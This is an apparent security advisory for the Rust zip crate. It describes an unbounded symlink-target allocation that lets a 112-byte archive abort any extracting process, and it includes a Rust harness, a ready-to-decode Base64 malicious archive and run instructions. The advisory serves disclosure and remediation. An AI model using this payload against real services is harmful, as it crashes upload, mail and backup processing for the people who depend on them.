zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction

Summary

The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

• ZipFile::size() returns uncompressed_size verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.
• ZipFile::is_symlink() is decided entirely by the central directory's external-attributes field, via the S_IFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic — it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"

[dependencies]
zip = "8.6.0"

use std::{env, fs::File, io::BufReader};

fn main() {
    let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
    let outdir = std::env::temp_dir().join("zip-poc");
    std::fs::create_dir_all(&outdir).unwrap();

    let file = File::open(archive_path).unwrap();
    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
    let r = archive.extract(&outdir);            // <-- process dies here
    println!("SURVIVED: {:?}", r);
}

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (src/read/zip_archive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.